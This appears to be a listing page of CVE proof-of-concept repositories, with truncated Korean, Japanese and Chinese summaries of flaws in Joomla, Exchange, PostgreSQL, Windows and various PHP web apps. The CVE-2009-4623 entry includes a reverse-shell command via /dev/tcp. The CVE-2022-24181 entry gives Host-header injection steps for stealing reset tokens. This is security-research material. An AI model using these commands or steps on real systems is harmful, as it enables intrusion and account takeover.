CVE-2023-23752

CVE-2023-23752 Joomla 무단 액세스 취약점 CVE-2023-23752 취약점 설명 Joomla는 PHP로 작성된 오픈 소스 콘텐츠 관리 시스템CMS으로, MySQL, MSSQL, PostgreSQL 등 여러 데이터베이스 시스템을 지원합니다. 부적절한 액세스 제한으로 인해 서버 REST API 엔드포인트에 대한 무단 액세스가 발생합니다. 영향받는 버전: Joomla 4.0.0 - 4.2.7 사용 도움말 optional arguments: -h, --help show this help message and exit...

metasploit-ldapnightmare

metasploit-ldapnightmare SafeBreaches의 CVE-2024-49113 POCLdapNightmare를 Metasploit에 통합 개요 이 모듈은 Windows LDAP 클라이언트의 심각한 취약점인 CVE-2024-49113을 구현하여 시스템 불안정을 유발할 수 있습니다. 이 모듈은 Metasploit 프레임워크와 통합되어, 이 취약점에 대한 시스템 복원력을 테스트할 수 있는 신뢰할 수 있는 방법을 제공합니다. 특징 완전한 Metasploit 프레임워크 통합 비동기 LDAP 서버 구현 다양한 시나리오...

CVE-2026-108264

Wizarr is an advanced user invitation and management system for Jellyfin, Plex, Emby, and other media servers. Prior to 2026.9.1, wizard step Markdown supplied through the editor or imported bundles was evaluated by app/blueprints/wizard/routes.py in the application's non-sandboxed Jinja2...

CVE-2020-0688

CVE-2020-0688 に対して脆弱な Exchange サーバーを特定する CVE-2020-0688 は、静的キーの使用が原因で Microsoft Exchange に存在する重大な脆弱性です。悪用には メールユーザーレベルの 有効な資格情報が必要であり、大量悪用のリスクは低いものの、この脆弱性は SYSTEM レベルの RCE につながるため、標的型攻撃で非常に有用となる可能性があります。 詳細情報: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688...

BlockOpenHandle

BlockOpenHandle 任意のプロセスがあなたのプロセスへのHANDLEを開くのをブロックします。あなたのプロセスへのハンドルを開くことができるのはSYTEMのみです。これにより、リモートメモリスキャナーを回避できます POC...

CVE-2025-25964

CVE-2025-25964: School Information Management System v1.0 における SQL インジェクション はじめに 今日のデジタル環境において、SQL インジェクション（SQLi）は、Web アプリケーションで見られる最も一般的かつ危険な脆弱性の 1 つであり続けています。このブログ記事では、Itsourcecode によって開発された School Information Management System v1.0 で発見された、重大な SQL...

MASAPT

MASAPT 🤖 ↔ 🤖 ↔ 🤖 ❗ 면책 조항 이 도구는 대학 과정의 일환으로 학술 및 연구 목적으로 개발되었습니다. 사전 동의 없이 대상을 공격하는 데 MASAPT를 사용하는 것은 불법입니다. 개발자는 이 도구로 인한 모든 피해에 대해 책임을 지지 않으며, MASAPT의 어떤 악의적인 사용도 규탄합니다. 이 도구는 현재 전문적인 환경에서 사용하기 위한 것이 아니며, 기본이 되는 이론적 모델의 개념 증명에 불과합니다. ...에 오신 것을 환영합니다. 자동 침투 테스트를 위한 다중 에이전트 시스템 🐱‍💻 탐색 → 익스플로잇 → 보고...

CVE-2022-24181

CVE-2022-24181 および CVE-2022-26616。おそらく同じものです。 Open-journal-system-Vulnerability XSS（Host Headerインジェクション経由）と他ユーザーのパスワードリセットトークンの奪取 再現手順: 1. このサイトにアクセス: https://who's-using-ojs-software.com 2. Burpでこのリクエストをキャプチャし、Repeaterに送信。 3. Host Headerの後に以下を追加: X-Forwarded-Host: foo"x=".com 4...

CVE-2019-9193

EN GenPostgresRCEExploit 是一个 PoC 工具，旨在利用特定版本 PostgreSQL（9.3 - 11.7）中经过身份验证的远程代码执行（RCE）漏洞。它允许已认证用户在存在 CVE-2019-9193 漏洞的 PostgreSQL 数据库服务器上执行系统命令。 功能特性 RCE 漏洞利用 ：通过已认证的 PostgreSQL 会话执行系统命令。 版本检查 ：验证目标 PostgreSQL 服务器的版本，以确认是否存在该漏洞。 命令执行 ：如果服务器存在漏洞，则允许在服务器上执行自定义命令。 自动表管理 ：自动创建和删除用于命令执行的临时表，无需手动干预。 环境...

EUVD-2026-95983

Jexactyl is a customisable game management panel and billing system. From 4.0.0 until 4.0.5, the POST /api/client/billing/free/process endpoint accepts a client-controlled serverid and loads the server without restricting the lookup to servers owned by the authenticated account. On installations...

CVE-2024-26229

CVE-2024-26229 Windows CSC サービスの特権昇格の脆弱性。 プログラムがバッファの処理能力を超えるデータを書き込むと、ヒープベースのバッファオーバーフローが発生し、余分なデータが隣接するメモリ領域にあふれ出します。このオーバーフローはメモリを破損させ、攻撃者が任意のコードを実行したり、システムに不正にアクセスしたりする可能性があります。本質的には、攻撃者はオーバーフローを引き起こす悪意のあるコードや入力を作成し、影響を受けるシステムを制御したり、任意のコマンドを実行 したり、マルウェアをインストールしたり、機密データにアクセスしたりできます。...

CVE-2023-21674

2023年最初の実環境で発見された0-day脆弱性🔥 CVE-2023-21674は、Windows Advanced Local Procedure Call（ALPC）における脆弱性で、ブラウザのサンドボックスエスケープを引き起こし、攻撃者がSYSTEM権限を取得する可能性があるものです。Avastによって発見されました。 kd !analyze -v Bugcheck Analysis PAGEFAULTINNONPAGEDAREA 50 Invalid system memory was referenced. This cannot be protected by...

CVE-2009-4623

Advanced Comment System 1.0 - 远程命令执行 RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 示例 python3 exploit.py http://127.0.0.1 uname -a python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

printix-CVE-2022-25089

CVE-2022-25089 システム管理者にとって悪夢のような、認証なしにどこからでもユーザーがレジストリを変更できる問題。 ドキュメントを読む » デモを見る . バグを報告 . 機能をリクエスト 目次 プロジェクトについて 使用技術 はじめに 前提条件 インストール 使用方法 ロードマップ 貢献 ライセンス 著者 謝辞 プロジェクトについて Printix の "Printix Secure Cloud Print Management" バージョン 1.3.1106.0 以下に含まれる PrintixService.exe...

system_bt_AOSP10_r33_CVE-2022-20229

Fluoride Bluetooth スタック AOSP でのビルドと実行 AOSP をビルドするだけです。Fluoride はデフォルトで含まれています。 Linux でのビルドと実行 Ubuntu 向けの手順です。14.04 の Clang 3.5.0 と 16.10 の Clang 3.8.0 でテストされています。 ソースのダウンロード mkdir /fluoride cd /fluoride git clone https://android.googlesource.com/platform/system/bt 依存関係のインストール sudo アクセスが必要: cd...

CVE-2022-30887

CVE-2022-30887 Pharmacy Management System 1.0 シェルアップロード このアプリケーションはMayurikによって構築されました。 Pharmacy management systemプロジェクトは、セキュリティと管理を通じて薬局の正確性と効率を向上させるためにPHPで開発されました。簡単に言えば、製品在庫管理アプリケーションです。 Pharmacy Management System...

CVE-2025-46173

CVE-2025-46173 - Online Exam Mastering System 1.0 における格納型クロスサイトスクリプティング XSS 📌 概要 CVE-2025-46173 は、code-projects の Online Exam Mastering System 1.0 で発見された 格納型クロスサイトスクリプティング XSS 脆弱性です。この脆弱性は feedback.php コンポーネントに存在し、名前フィールド へのユーザー入力が適切にサニタイズされないため、悪意のある攻撃者が任意の JavaScript を注入できるようになります。管理者が管理ダッシュボード...

Project-CVE-2015-1635

CVE-2015-1635 CVE-2015-1635,MS15-034 脆弱性検出 USAGE python MS15-034.py www.xxx.com:80 テストプログラム HTTP.sysリモートコード実行の脆弱性（CVE-2015-1635、MS15-034） リモートコード実行の脆弱性は HTTP プロトコルスタック（HTTP.sys）に存在し、HTTP.sys が特別に細工された HTTP リクエストを正しく解析しない場合に発生します。この脆弱性の悪用に成功した攻撃者は、システムアカウントのコンテキストで任意のコードを実行できます。...

LWHP

LWHP Linux 및 Windows 강화 포인트 강화 가이드는 모든 시스템이 다른 구성을 필요로 하기 때문에 완전할 수 없습니다. 이 문서를 사용할 때 이를 고려하고 이 저장소에 작성된 포인트를 지침으로 삼으십시오...

CVE-2021-38699-Stored-XSS

CVE-2021-38699: TastyIgniter v3.0.7 レストランCMSにおける保存型XSS TastyIgniter v3.0.7 レストランCMSのWebアプリケーションのシステムログセクションには、認証済みの保存型クロスサイトスクリプティングが存在します。 https://vulners.com/cve/CVE-2021-38699 POC 1. Webアプリケーション内の別の場所で反射型クロスサイトスクリプティングを実行する https://github.com/HuskyHacks/CVE-2021-38699-Reflected-XSS を参照 2...